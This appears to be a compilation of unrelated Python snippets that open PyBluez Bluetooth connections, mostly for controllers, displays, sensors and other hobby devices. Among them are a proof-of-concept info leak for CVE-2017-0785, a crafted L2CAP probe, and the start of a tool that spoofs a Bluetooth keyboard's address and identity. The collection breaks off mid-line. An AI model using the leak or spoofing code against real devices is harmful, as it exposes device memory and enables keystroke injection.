def connect(self, protocol=None, device: str = None, port: int = None, service_uuid: str = None, service_name: str = None): """ Connect to a bluetooth device. You can query the advertised services through ``find_service``. :param protocol: Supported values: either 'RFCOMM'/'L2CAP' (str) or bluetooth.RFCOMM/bluetooth.L2CAP int constants (int) :param device: Device address or name :param port: Port number :param service_uuid: Service UUID :param service_name: Service name """ from bluetooth import BluetoothSocket addr, port, protocol = self._get_addr_port_protocol(protocol=protocol, device=device, port=port, service_uuid=service_uuid, service_name=service_name) sock = self._get_sock(protocol=protocol, device=addr, port=port) if sock: self.close(device=addr, port=port) sock = BluetoothSocket(protocol) self.logger.info('Opening connection to device {} on port {}'.format(addr, port)) sock.connect((addr, port)) self.logger.info('Connected to device {} on port {}'.format(addr, port)) self._socks[(addr, port)] = sock
def _create_client(self): assert self.uuid is not None logger.info("searching service %s (UUID: %s) @ %s" % (self.name, self.uuid, self.upstream_addr or 'anywhere')) service_matches = [] while len(service_matches) == 0: try: service_matches = bt.find_service(uuid=self.uuid, address=self.upstream_addr) if len(service_matches) == 0: sleep(1) except KeyboardInterrupt: break first_match = service_matches[0] port = first_match["port"] name = first_match["name"] host = first_match["host"] logger.info("connecting to App \"%s\" on %s" % (name, host)) # Create the client socket sock = BluetoothSocket(bt.RFCOMM) sock.connect((host, port)) return sock
def client_init(server_name): """ initialize client socket """ logging.debug("client initialization") server_address = None devices = discover_devices() for device_address in devices: device_name = lookup_name(device_address) logging.debug("found device : %s", device_name) if device_name == server_name: server_address = device_address break if server_address is None: logging.error("could not connect to %s", server_name) sys.exit(0) client_socket = BluetoothSocket(RFCOMM) client_socket.connect((server_address, PORT)) # handle callback function if connected_callback is not None: connected_callback() return client_socket
class CompanionDeviceBridge(Thread): """A manager for connecting to external monitoring device. This manager uses Bluetooth to connect to establish a connection with a Digibod Companion Device. """ def __init__(self): self._socket = BluetoothSocket(bluetooth.RFCOMM) self._is_connected = False def find_devices(self, discovery_time: int = 20) -> list: """Look for currently discoverable Bluetooth devices. Args: discovery_time (int): The number of seconds (20 by default) to discover available Bluetooth devices. Returns: A list of discoverable Bluetooth devices. """ nearby_devices = bluetooth.discover_devices(bluetooth.RFCOMM, duration=discovery_time) return nearby_devices def connect_to_device(self, bluetooth_address: str, port: int = 1): """Initiate a Bluetooth connection to a Companion Device. Args: bluetooth_address (str): The address of the device to connect to. port (int): 1 by default. """ try: self._socket.connect((bluetooth_address, port)) self.is_connected = True except BluetoothError as e: # TODO: Handle error print(e) def disconnect_from_device(self): self._socket.close() self.is_connected = False def send_snapshot(self, snapshot: SensorSnapshot): """Send a SensorSnapshot to the connected companion device. Args: snapshot (SensorSnapshot): Sensor data to send. """ # TODO: Send snapshot self._socket.send(snapshot.to_json()) def is_connected(self) -> bool: """Return True if this bridge is connected to a client device.""" return self._is_connected
def connect(addr): socket = BluetoothSocket(RFCOMM) while True: try: socket.connect((addr, 1)) break except Exception as e: print("Failed to connect trying, again in 1 sec.") time.sleep(1) print("Connected to {} on channel {}".format(addr, 1)) return socket
class BluetoothInterface: def __init__(self): self.rfcomm = BluetoothSocket(RFCOMM) self.rfcomm.connect(("00:21:13:01:D1:59", 1)) self.rfcomm.settimeout(0.01) def send(self, message): try: self.rfcomm.send(message) except Exception: print_exc() def receive(self): return self.rfcomm.recv(1024)
def connect_resource(self, resource_id): address = self.__get_resource_address(resource_id) if address != None: if not self.contains_address(address): btsocket = BluetoothSocket(RFCOMM) btsocket.connect((address, 1)) self.connected_devices[address] = btsocket if not self.__has_connected_resource(resource_id): self.connected_resources.append({ 'id': resource_id, 'address': address }) return True return False
def bluetooth_connect(): if os.environ.get('BLUETOOTH_STUB'): return None devices = discover_devices( duration=4, lookup_names=True, flush_cache=True, lookup_class=False) for address, name in devices: if name == device_name: socket = BluetoothSocket() socket.connect((address, bluetooth_port)) return socket raise Exception( 'Could not find device of name ' + device_name)
def bluetooth_connect(): if os.environ.get('BLUETOOTH_STUB'): return None devices = discover_devices(duration=4, lookup_names=True, flush_cache=True, lookup_class=False) for address, name in devices: if name == device_name: socket = BluetoothSocket() socket.connect((address, bluetooth_port)) return socket raise Exception('Could not find device of name ' + device_name)
def establishConnectionTo(self, host): # host can also be a name, resolving it is slow though and requires the # device to be visible if not bluetooth.is_valid_address(host): nearby_devices = bluetooth.discover_devices() for bdaddr in nearby_devices: if host == bluetooth.lookup_name(bdaddr): host = bdaddr break if bluetooth.is_valid_address(host): con = BluetoothSocket(bluetooth.RFCOMM) con.connect((host, 1)) # 0 is channel self.bt_connections.append(con) return len(self.bt_connections) - 1 else: return -1
def connect(self, mac): Logger().write("[!] Establishing a connection with %s" % mac, tag="BTCTL") try: sock = BluetoothSocket(RFCOMM) port = get_port() sock.connect((mac, port)) Logger().write("[!] Connected to %s" % mac, tag="BTCTL") except Exception as ex: Logger().write("[!] Connection to %s was refused" % mac, tag="BTCTL") Logger().write(ex, tag="EXCEPT") sock = None return sock
def scan(self, bd_addr: str): print('[DEBUG] call StackScanner.scan()') remote_addr = bd_addr psm = 0x0001 l2_sock = BluetoothSocket(L2CAP) code = 0x08 identifier = 0x01 length = 0x0001 data = b'\xff' # payload = struct.pack('<BBHC', code, identifier, length, data) payload = struct.pack('<BBH1s', code, identifier, length, data) l2_sock.connect((remote_addr, psm)) l2_sock.send(payload) data = l2_sock.recv(1024)
def main(): target_bd_addr = args['BD_ADDR'] l2cap_mtu = 50 sock = BluetoothSocket(L2CAP) set_l2cap_mtu(sock, l2cap_mtu) sock.connect((target_bd_addr, PSM_SDP)) print('Sending the first SDP_SERVICE_SEARCH_REQ PDU') params = { 'ServiceSearchPattern': b'\x35\x03\x19\x01\x00', 'MaximumServiceRecordCount': 0xFFFF, 'ContinuationState': b'\x00' } sock.send(sdp_service_search_req(params)) sdp_service_search_rsp = sock.recv(l2cap_mtu) info_len = sdp_service_search_rsp[-3] if info_len != ANDROID_CONT_STATE_INFO_LEN: print(sdp_service_search_rsp[-3]) print('Invalid continuation state received.') sys.exit(1) stack = b'' for i in range(1, 30): # 越界读的次数太多会导致目标蓝牙崩溃 print('Sending packet %d' % i) params = { 'ServiceSearchPattern': b'\x35\x03\x19\x01\x00', 'MaximumServiceRecordCount': 0x0001, 'ContinuationState': sdp_service_search_rsp[-3:] } sock.send(sdp_service_search_req(params)) sdp_service_search_rsp = sock.recv(l2cap_mtu) # Leaked info is in ServiceRecordHandleList field stack += sdp_service_search_rsp[9:-3] sock.close() print(hexdump(stack)) if len(stack) > 20: print('CVE-2017-0785')
def main(): """ This program attempts to receive a stream of a 1000 jpeg images, saving them in the out folder """ global img, BTsocket, cLength if not os.path.exists("out"): os.makedirs("out") img = bytes() # regex to extract length from the header cLength = re.compile(r"^Content-Length: (?P<length>\d+)\r\n\r\n$") BTsocket = BluetoothSocket(RFCOMM) # search for our device found = False spp_service_devices = [] while not found: print("Searching for device...") spp_service_devices = find_service(name="UTHAR_SERVER", uuid="1101") if len(spp_service_devices): found = True # connect to the first device which advertizes the SPP service print("Device found. Connecting...") BTsocket.connect( (spp_service_devices[0]["host"], spp_service_devices[0]["port"])) start = time.time() images = 1000 img_count = 0 try: for i in range(images): print(f"\nImage {i}:") img, size = bluetooth_receive() if not img: continue with open(f"out/test{i}.jpeg", "wb") as file: file.write(img) img_count += 1 except KeyboardInterrupt: BTsocket.close() end = time.time() print( f"Received {img_count} images in {end - start:.2f} seconds: {img_count/(end - start):.2f} FPS" )
def connect(addr): global SOCK, CONSOLE, CONNECTED connected = 'Connected: {}' try: SOCK = BluetoothSocket(RFCOMM) SOCK.connect((addr, 1)) SOCK.settimeout(1) except BluetoothError as e: CONSOLE += str(e) + '\n' connected = connected.format('no') SOCK.close() SOCK = None else: CONNECTED = True connected = connected.format('yes') CONSOLE += connected + '\n' return connected
def server(addr, port, ble=False): global running print(f'Creating {"BLE" if ble else "BL"} connection') if not ble: sock = Socket(RFCOMM) sock.connect((addr, port)) else: sock = GATTRequester(addr) while running: lock.acquire() data = b''.join((key_to_order(order, speed) for order in orders)) data += b''.join((key_to_stop_order(order) for order in stop_orders)) stop_orders.clear() lock.release() if not ble: sock.send(data) else: for b in data: sock.write_by_handle(port, bytes([b])) sleep(.02) sock.close()
class RFCOMMClient: def __init__(self, client_address, RequestHandlerClass): self.client_address = client_address self.RequestHandlerClass = RequestHandlerClass self.socket = BluetoothSocket(RFCOMM) def handle_request(self): self.socket.connect((self.client_address[0], self.client_address[1])) try: self.process_request(self.socket, self.client_address) except Exception: self.socket.close() raise def process_request(self, request, client_address): self.finish_request(request, client_address) request.close() def finish_request(self, request, client_address): self.RequestHandlerClass(request, client_address, self) def client_close(self): self.socket.close()
def establishConnectionTo(self, host): # host can also be a name, resolving it is slow though and requires the # device to be visible if not bluetooth.is_valid_address(host): nearby_devices = bluetooth.discover_devices() for bdaddr in nearby_devices: if host == bluetooth.lookup_name(bdaddr): host = bdaddr break if bluetooth.is_valid_address(host): con = BluetoothSocket(bluetooth.RFCOMM) con.settimeout(0.5) # half second to make IO interruptible while True: try: con.connect((host, 1)) # 0 is channel self.bt_connections.append(con) return len(self.bt_connections) - 1 except bluetooth.btcommon.BluetoothError as e: if not self._isTimeOut(e): logger.error("unhandled Bluetooth error: %s", repr(e)) break else: return -1
def discover(): TimeBoxList = {} print('scanning for timebox') discovered = discover_devices(duration=5, lookup_names=True) if (not len(discovered)): print("no devices discovered") return else: for a, n in discovered: if (n and 'timebox' in n.lower()): print('checking device %s' % a) try: sock = BluetoothSocket(bluetooth.RFCOMM) sock.connect((a, 4)) hello = [ord(c) for c in sock.recv(256)] if (hello == TIMEBOX_HELLO): TimeBoxList['address'] = a TimeBoxList['sock'] = sock break else: print('invalid hello received') sock.close() except: pass if (not 'address' in TimeBoxList): print('could not find a timebox ...') return else: print("Found device : " + TimeBoxList['address']) return
service_matches = find_service( address = addr ) if len(service_matches) == 0: print("Couldn't find the SPP service.") sys.exit(0) first_match = service_matches[0] port = first_match["port"] name = first_match["name"] host = first_match["host"] print("Connecting to \"%s\" on %s" % (name, host)) # Create the client socket sock = BluetoothSocket( RFCOMM ) sock.connect((host, port)) print("connected. type stuff") keep_going = True while keep_going: print ("click") for frame in frames: if len(frame) == 0: break bin_data = None header = img_header() payload = frame if payload is None: continue bin_data = header + payload
class BluetoothReceive: def __init__(self, port=3, size=1024): self.port = port self.size = size self.client_socket = None self.stopped = False @inlineCallbacks def find_key(self, bt_mac, mac): self.client_socket = BluetoothSocket(RFCOMM) message = b"" try: self.client_socket.setblocking(False) try: self.client_socket.connect((bt_mac, self.port)) except BluetoothError as be: if be.args[0] == "(115, 'Operation now in progress')": pass else: raise be success = False while not self.stopped and not success: r, w, e = yield threads.deferToThread(select.select, [self.client_socket], [], [], 0.5) if r: log.info("Connection established") self.client_socket.setblocking(True) success = True # try to receive until the sender closes the connection try: while True: part_message = self.client_socket.recv(self.size) log.debug("Read %d bytes: %r", len(part_message), part_message) message += part_message except BluetoothError as be: if be.args[0] == "(104, 'Connection reset by peer')": log.info("Bluetooth connection closed, let's check if we downloaded the key") else: raise be mac_key = fingerprint_from_keydata(message) verified = None if mac: verified = mac_verify(mac_key.encode('ascii'), message, mac) if verified: success = True else: log.info("MAC validation failed: %r", verified) success = False message = b"" except BluetoothError as be: if be.args[0] == "(16, 'Device or resource busy')": log.info("Probably has been provided a partial bt mac") elif be.args[0] == "(111, 'Connection refused')": log.info("The sender refused our connection attempt") elif be.args[0] == "(112, 'Host is down')": log.info("The sender's Bluetooth is not available") elif be.args[0] == "(113, 'No route to host')": log.info("An error occurred with Bluetooth, if present probably the device is not powered") else: log.info("An unknown bt error occurred: %s" % be.args[0]) key_data = None success = False returnValue((key_data, success, be)) except Exception as e: log.error("An error occurred connecting or receiving: %s" % e) key_data = None success = False returnValue((key_data, success, e)) if self.client_socket: self.client_socket.close() returnValue((message.decode("utf-8"), success, None)) def stop(self): self.stopped = True if self.client_socket: try: self.client_socket.shutdown(socket.SHUT_RDWR) self.client_socket.close() except BluetoothError as be: if be.args[0] == "(9, 'Bad file descriptor')": log.info("The old Bluetooth connection was already closed") else: log.exception("An unknown bt error occurred")
class BluetoothConnection(object): def __init__(self): self.client_socket = None self.server_socket = None self.connected = False def createServer(self, port = 3): self.server_socket=BluetoothSocket( RFCOMM ) self.server_socket.bind(("", port)) self.server_socket.listen(1) print "Trying to connect.." self.client_socket, _ = self.server_socket.accept() print "Connected!" self.connected = True def createClient(self, address, port = 3): if address == "first": address = self.searchDevices()[0] self.client_socket=BluetoothSocket( RFCOMM ) print "Trying to connect.." self.client_socket.connect((address, port)) print "Connected!" self.connected = True def searchDevices(self): return discover_devices() def receiveData(self, bufsize = 1024): if self.connected: return self.client_socket.recv(bufsize) else: print "Not yet connected!" def sendFile(self, filename): f = open(filename, 'r') data = f.readlines() for line in data: self.sendData(line) f.close() def receiveFile(self, filename, bufsize = 4096): data = self.receiveData(bufsize) f = open(filename, 'w') f.writelines(data) f.flush() f.close() def sendData(self, data): if self.connected: self.client_socket.send(data) def closeConnection(self): if self.server_socket is not None: self.server_socket.close() self.client_socket.close() self.connected = False
class Wiimote: def __init__(self, addr): self._addr = addr self._inSocket = BluetoothSocket(L2CAP) self._outSocket = BluetoothSocket(L2CAP) self._connected = False def __del__(self): self.disconnect() def _send(self, *data, **kwargs): check_connection = True if "check_connection" in kwargs: check_connection = kwargs["check_connection"] if check_connection and not self._connected: raise IOError("No wiimote is connected") self._inSocket.send("".join(map(chr, data))) def disconnect(self): if self._connected: self._inSocket.close() self._outSocket.close() self._connected = False def connect(self, timeout=0): if self._connected: return None self._inSocket.connect((self._addr, 0x13)) self._outSocket.connect((self._addr, 0x11)) self._inSocket.settimeout(timeout) self._outSocket.settimeout(timeout) # TODO give the choice of the mode to the user # Set the mode of the data reporting of the Wiimote with the last byte of this sending # 0x30 : Only buttons (2 bytes) # 0x31 : Buttons and Accelerometer (3 bytes) # 0x32 : Buttons + Extension (8 bytes) # 0x33 : Buttons + Accel + InfraRed sensor (12 bytes) # 0x34 : Buttons + Extension (19 bytes) # 0x35 : Buttons + Accel + Extension (16 bytes) # 0x36 : Buttons + IR sensor (10 bytes) + Extension (9 bytes) # 0x37 : Buttons + Accel + IR sensor (10 bytes) + Extension (6 bytes) # 0x3d : Extension (21 bytes) # 0x3e / 0x3f : Buttons + Accel + IR sensor (36 bytes). Need two reports for a sigle data unit. self._send(0x52, 0x12, 0x00, 0x33, check_connection=False) # Enable the IR camera # Enable IR Camera (Send 0x04 to Output Report 0x13) # Enable IR Camera 2 (Send 0x04 to Output Report 0x1a) # Write 0x08 to register 0xb00030 # Write Sensitivity Block 1 to registers at 0xb00000 # Write Sensitivity Block 2 to registers at 0xb0001a # Write Mode Number to register 0xb00033 # Write 0x08 to register 0xb00030 (again) # Put a sleep of 50ms to avoid a bad configuration of the IR sensor # Sensitivity Block 1 is : 00 00 00 00 00 00 90 00 41 # Sensitivity Block 2 is : 40 00 # The mode number is 1 if there is 10 bytes for the IR. # The mode number is 3 if there is 12 bytes for the IR. # The mode number is 5 if there is 36 bytes for the IR. time.sleep(0.050) self._send(0x52, 0x13, 0x04, check_connection=False) time.sleep(0.050) self._send(0x52, 0x1A, 0x04, check_connection=False) time.sleep(0.050) self._send( 0x52, 0x16, 0x04, 0xB0, 0x00, 0x30, 1, 0x08, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False, ) time.sleep(0.050) self._send( 0x52, 0x16, 0x04, 0xB0, 0x00, 0x06, 1, 0x90, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False, ) time.sleep(0.050) self._send( 0x52, 0x16, 0x04, 0xB0, 0x00, 0x08, 1, 0x41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False, ) time.sleep(0.050) self._send( 0x52, 0x16, 0x04, 0xB0, 0x00, 0x1A, 1, 0x40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False, ) time.sleep(0.050) self._send( 0x52, 0x16, 0x04, 0xB0, 0x00, 0x33, 1, 0x03, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False, ) time.sleep(0.050) self._send( 0x52, 0x16, 0x04, 0xB0, 0x00, 0x30, 1, 0x08, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False, ) self._connected = True def vibrate(self, duration=1): self._send(0x52, 0x15, 0x01) time.sleep(duration) self._send(0x52, 0x15, 0x00) def setLed(self, binary): self._send(0x52, 0x11, int(n << 4)) def _getData(self, check_connection=True): if check_connection and not self._connected: raise IOError("No wiimote is connected") data = self._inSocket.recv(19) if len(data) != 19: raise IOError("Impossible to receive all data") return list(map(ord, data)) def _checkButton(self, bit, mask): return self._getData()[bit] & mask != 0 def buttonAPressed(self): return self._checkButton(3, 0x08) def buttonBPressed(self): return self._checkButton(3, 0x04) def buttonUpPressed(self): return self._checkButton(2, 0x08) def buttonDownPressed(self): return self._checkButton(2, 0x04) def buttonLeftPressed(self): return self._checkButton(2, 0x01) def buttonRightPressed(self): return self._checkButton(2, 0x02) def buttonPlusPressed(self): return self._checkButton(2, 0x10) def buttonMinusPressed(self): return self._checkButton(3, 0x10) def buttonHomePressed(self): return self._checkButton(3, 0x80) def buttonOnePressed(self): return self._checkButton(3, 0x02) def buttonTwoPressed(self): return self._checkButton(3, 0x01) # 0x80 means no movement def getAcceleration(self): d = self._getData() ax = d[4] << 2 | d[2] & (0x20 | 0x40) ay = d[5] << 1 | d[3] & 0x20 az = d[6] << 1 | d[3] & 0x40 return (ax, ay, az) def getIRPoints(self): d = self._getData() x1 = d[7] | ((d[9] & (0b00110000)) << 4) y1 = d[8] | ((d[9] & (0b11000000)) << 2) i1 = d[9] & 0b00001111 x2 = d[10] | ((d[12] & (0b00110000)) << 4) y2 = d[11] | ((d[12] & (0b11000000)) << 2) i2 = d[12] & 0b00001111 x3 = d[13] | ((d[15] & (0b00110000)) << 4) y3 = d[14] | ((d[15] & (0b11000000)) << 2) i3 = d[15] & 0b00001111 x4 = d[16] | ((d[18] & (0b00110000)) << 4) y4 = d[17] | ((d[18] & (0b11000000)) << 2) i4 = d[18] & 0b00001111 return [(x1, y2, i1), (x2, y2, i2), (x3, y3, i3), (x4, y4, i4)]
class TimeBox: def __init__(self): self.messages = TimeBoxMessages() self.isconnected = False self.mac = '' self.socket = '' def show_text(self, txt, speed=10, font=None): """ Display text & scroll, call is blocking """ if (type(txt) is not list) or (len(txt) == 0) or (type(txt[0]) is not tuple): raise Exception("a list of tuple is expected") im = draw_multiple_to_image(txt, font) slices = horizontal_slices(im) speed = 20 - speed speed = int(50 + round(speed * 10)) logging.debug('CALLLLLLCULAAAAATED SPEED ' + str(speed)) slices[0].save('/tmp/pixoo_text_temp.gif', format='GIF', append_images=slices[1:], save_all=True, duration=speed, loop=0) f = PIL.Image.open('/tmp/pixoo_text_temp.gif') f.info['duration'] = speed f.save('/tmp/pixoo_text.gif', save_all=True) self.show_animated_image('/tmp/pixoo_text.gif') self.show_animated_image('/tmp/pixoo_text.gif') def show_static_image(self, path): logging.debug('DIVOOM------Show static image') self.send_raw('44000A0A04AA2D00000000' + divoom_image.load_image(path)) def show_animated_image(self, path): logging.debug('DIVOOM------Show animated image') messages = divoom_image.build_animation(path) logging.debug(str(messages)) self.show_static_image( os.path.join(os.path.dirname(__file__), 'images/noir.png')) for message in messages: self.send_raw(message) def connect(self, host=None, port=4): """Open a connection to the TimeBox.""" # Create the client socket for i in range(5): try: globals.PENDING_ACTION = True globals.PENDING_TIME = int(time.time()) time.sleep(3) self.socket = BluetoothSocket(RFCOMM) self.socket.connect((host, port)) self.socket.setblocking(0) self.isconnected = True self.mac = host except Exception as e: logging.error( "Got exception while attempting to connect to timebox : %s" % e) time.sleep(2) break globals.PENDING_ACTION = False globals.PENDING_TIME = int(time.time()) def close(self): """Closes the connection to the TimeBox.""" self.socket.close() self.isconnected = False if self.mac in globals.KEEPED_CONNECTION: del globals.KEEPED_CONNECTION[self.mac] def set_time(self, time=None): if not time: time = datetime.datetime.now() args = [] args.append(int(str(time.year)[2:])) args.append(int(str(time.year)[0:2])) args.append(int(time.month)) args.append(int(time.day)) args.append(int(time.hour)) args.append(int(time.minute)) args.append(int(time.second)) args.append(0) self.send_command("set date time", args) def send_command(self, command, args=None): """Send command with optional arguments""" logging.debug('DIVOOM------Send command') if args is None: args = [] if isinstance(command, str): command = self.COMMANDS[command] length = len(args) + 3 length_lsb = length & 0xff length_msb = length >> 8 payload = [length_lsb, length_msb, command] + args self.send_payload(payload) def set_static_image(self, image): """Set the image on the TimeBox""" msg = self.messages.static_image_message(image) self.socket.send(bytes(bytearray(msg))) def set_dynamic_images(self, images, frame_delay=1): """Set the image on the TimeBox""" fnum = 0 for img in images: msg = self.messages.dynamic_image_message(img, fnum, frame_delay) fnum = fnum + 1 self.socket.send(bytes(bytearray(msg))) def set_luminosity(self, slider=None): """Set Luminoity on Pixoo""" if slider == None: slider = '100' slider = hex(int(slider))[2:].zfill(2) self.send_raw('74' + slider) def set_temperature(self, temperature=None, icon=None): """Set Temperature and weather image on Pixoo""" if temperature == None: temperature = '25' temperature = hex(int(temperature))[2:].zfill(2) if icon == None: icon = '1' icon = hex(int(icon))[2:].zfill(2) self.send_raw('5F' + temperature + icon) def set_visual(self, type=None, visual=None): """Set type and visual effect on Pixoo""" if type == None: type = '3' type = hex(int(type))[2:].zfill(2) if visual == None: visual = '1' visual = hex(int(visual))[2:].zfill(2) self.send_raw('45' + type + visual) def set_notifs(self, icon=None): """Set notifs on Pixoo""" if icon == None: icon = '1' icon = hex(int(icon))[2:].zfill(2) self.send_raw('50' + icon) def set_clock(self, mode=0, clock=0, weather=0, temp=0, date=0, color=None): """Set clock and modes on Pixoo""" mode = hex(int(mode))[2:].zfill(2) clock = hex(int(clock))[2:].zfill(2) weather = hex(int(weather))[2:].zfill(2) temp = hex(int(temp))[2:].zfill(2) date = hex(int(date))[2:].zfill(2) if color == None: color = '#0000FF' color = color[1:] self.send_raw('450000' + mode + clock + weather + temp + date + color) def send_raw(self, data): """Send raw data to the TimeBox.""" logging.debug('DIVOOM------Send raw command ' + str(data)) args = [int(x) for x in bytearray.fromhex(data)] logging.debug('DIVOOM------ ' + str(args)) length = len(args) + 2 length_lsb = length & 0xff length_msb = length >> 8 payload = [length_lsb, length_msb] + args self.send_payload(payload) def send_payload(self, payload): """Send raw payload to the TimeBox. (Will be escaped, checksumed and messaged between 0x01 and 0x02.""" logging.debug('DIVOOM------Send payload') logging.debug(str(payload)) msg = self.messages.make_message(payload) logging.debug(str(msg)) logging.debug('MEEEEEEEEEEESSSSAAAAGE ' + str(bytes(bytearray(msg)).hex())) return self.socket.send(bytes(bytearray(msg)))
class Mote: INTERRUPT_PORT = 19 CONTROL_PORT = 17 def __init__(self, id=None, name=""): self.id = id self.name = name self.connected = False self.irMode = None self.reportMode = None self.dataLock = Lock() self.dataPoints = [] self.dataPointsAndSize = [] self.dataPointsFull = [] self.dataPointsFullFirstPart = [] self.buttonEvents = [] # A,B,1,2,Home,Plus,Minus,Left,Right,Up,Down self.buttonState = { "a": bool(0), "b": bool(0), 1: bool(0), 2: bool(0), "h": bool(0), "p": bool(0), "m": bool(0), "l": bool(0), "r": bool(0), "u": bool(0), "d": bool(0) } self.readThread = None self.idleStartTime = time.time() self.idleLastPoint = (0.0, 0.0) def getIdleSecs(self): return time.time() - self.idleStartTime def restartIdleTime(self): self.idleStartTime = time.time() def isIrModeFull(self): #if self.reportMode == 0x3e or self.reportMode == 0x3f: if self.irMode == "f": return True else: return False def isIrModeExt(self): #if self.reportMode == 0x33: if self.irMode == "e": return True else: return False def isIrModeBasic(self): #if self.reportMode == 0x36 or self.reportMode == 0x37: if self.irMode == "b": return True else: return False def getServices(self): return getServices(self.id) def connect(self, connectedIntSock=None): self.restartIdleTime() try: if not self.id: # == None or == 0 print "note: skipping connect in mote.connect, id not valid." return if connectedIntSock: self.intSock = connectedIntSock else: self.intSock = BluetoothSocket(L2CAP) self.intSock.connect((self.id, self.INTERRUPT_PORT)) self.ctrlSock = BluetoothSocket(L2CAP) self.ctrlSock.connect((self.id, self.CONTROL_PORT)) if self.ctrlSock and self.intSock: print "Connected to", self.id self.connected = True except bluetooth.BluetoothError, e: if e.message == "time out": print "Timed out when connected to mote." raise MoteConnectFailed() else: raise
from Adafruit_DHT import read_retry, DHT11 from logging import basicConfig, info, INFO, Formatter, warning from time import sleep, time from argparse import ArgumentParser from bluetooth import BluetoothSocket, RFCOMM from subprocess import call from datetime import datetime import paho.mqtt.publish as publish from threading import Timer, Semaphore # bluetooth setup call(['sudo', 'hciconfig', 'hci0', 'piscan']) bd_addr = 'B8:27:EB:52:84:13' port = 3 sock=BluetoothSocket(RFCOMM) sock.connect((bd_addr, port)) # Temp sensor setup SENSOR = DHT11 PIN = 3 # MQTT setup MQTT_SERVER = '192.168.88.31' MQTT_PATH = 'test_channel' # logging setup basicConfig( filename='dht11.log', filemode='w', format='%(asctime)s.%(msecs)06d %(message)s', datefmt='%Y-%m-%d,%H:%M:%S',
class Mote: INTERRUPT_PORT = 19 CONTROL_PORT = 17 def __init__(self, id=None, name=""): self.id = id self.name = name self.connected = False self.irMode = None self.reportMode = None self.dataLock = Lock() self.dataPoints = [] self.dataPointsAndSize = [] self.dataPointsFull = [] self.dataPointsFullFirstPart = [] self.buttonEvents = [] # A,B,1,2,Home,Plus,Minus,Left,Right,Up,Down self.buttonState = {"a":bool(0), "b":bool(0), 1:bool(0), 2:bool(0), "h":bool(0), "p":bool(0), "m":bool(0), "l":bool(0), "r":bool(0), "u":bool(0), "d":bool(0)} self.readThread = None self.idleStartTime = time.time() self.idleLastPoint = (0.0,0.0) def getIdleSecs(self): return time.time() - self.idleStartTime def restartIdleTime(self): self.idleStartTime = time.time() def isIrModeFull(self): #if self.reportMode == 0x3e or self.reportMode == 0x3f: if self.irMode == "f": return True else: return False def isIrModeExt(self): #if self.reportMode == 0x33: if self.irMode == "e": return True else: return False def isIrModeBasic(self): #if self.reportMode == 0x36 or self.reportMode == 0x37: if self.irMode == "b": return True else: return False def getServices(self): return getServices(self.id) def connect(self, connectedIntSock=None): self.restartIdleTime() try: if not self.id: # == None or == 0 print "note: skipping connect in mote.connect, id not valid." return if connectedIntSock: self.intSock = connectedIntSock else: self.intSock = BluetoothSocket(L2CAP) self.intSock.connect( (self.id, self.INTERRUPT_PORT) ) self.ctrlSock = BluetoothSocket(L2CAP) self.ctrlSock.connect( (self.id, self.CONTROL_PORT) ) if self.ctrlSock and self.intSock: print "Connected to", self.id self.connected = True except bluetooth.BluetoothError, e: if e.message=="time out": print "Timed out when connected to mote." raise MoteConnectFailed() else: raise
class BTKbDevice(): """Bluetooth HID keyboard device""" # control and interrupt service ports P_CTRL = 17 # Service port (control) from SDP record P_INTR = 19 # Service port (interrupt) from SDP record # D-Bus path of the BlueZ profile PROFILE_DBUS_PATH = "/bluez/syss/btkbd_profile" # file path of the SDP record SDP_RECORD_PATH = "{}{}".format(sys.path[0], "/sdp_record.xml") # device UUID UUID = "00001124-0000-1000-8000-00805f9b34fb" def __init__(self): """Initialize Bluetooth keyboard device""" # read config file with address and device name print("[*] Read configuration file") config = configparser.ConfigParser() config.read("../keyboard.conf") try: self.bdaddr = config['default']['BluetoothAddress'] self.device_name = config['default']['DeviceName'] self.device_short_name = config['default']['DeviceShortName'] self.interface = config['default']['Interface'] self.spoofing_method = config['default']['SpoofingMethod'] self.auto_connect = config['auto_connect']['AutoConnect'] self.connect_target = config['auto_connect']['Target'] except KeyError: sys.exit("[-] Could not read all required configuration values") print("[*] Initialize Bluetooth device") self.configure_device() self.register_bluez_profile() def configure_device(self): """Configure bluetooth hardware device""" print("[*] Configuring emulated Bluetooth keyboard") # power on Bluetooth device p = subprocess.run(['btmgmt', '--index', self.interface, 'power', 'off'], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) # spoof device address if configured if self.spoofing_method == 'bdaddr': print("[+] Spoof device {} address {} via btmgmt". format(self.interface, self.bdaddr)) # power on Bluetooth device p = subprocess.run(['btmgmt', '--index', self.interface, 'power', 'on'], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) # set Bluetooth address using bdaddr software tool with manual # reset, so that we have to power on the device p = subprocess.run(['bdaddr', '-i', self.interface, '-r', self.bdaddr], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) # power on Bluetooth device p = subprocess.run(['btmgmt', '--index', self.interface, 'power', 'on'], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) # set device class print("[+] Set device class") p = subprocess.run(['btmgmt', '--index', self.interface, 'class', '5', '64'], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) # set device name and short name print("[+] Set device name: {} ({})". format(self.device_name, self.device_short_name)) p = subprocess.run(['btmgmt', '--index', self.interface, 'name', self.device_name, self.device_short_name], stdout=subprocess.PIPE) # set device to connectable p = subprocess.run(['btmgmt', '--index', self.interface, 'connectable', 'on'], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) # power on Bluetooth device p = subprocess.run(['btmgmt', '--index', self.interface, 'power', 'on'], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) elif self.spoofing_method == 'btmgmt': print("[+] Spoof device {} address {} via btmgmt". format(self.interface, self.bdaddr)) # set Bluetooth address print("[+] Set Bluetooth address: {}".format(self.bdaddr)) p = subprocess.run(['btmgmt', '--index', self.interface, 'public-addr', self.bdaddr], stdout=subprocess.PIPE) print(p.stdout) if "fail" in str(p.stdout, "utf-8"): print("[-] Error setting 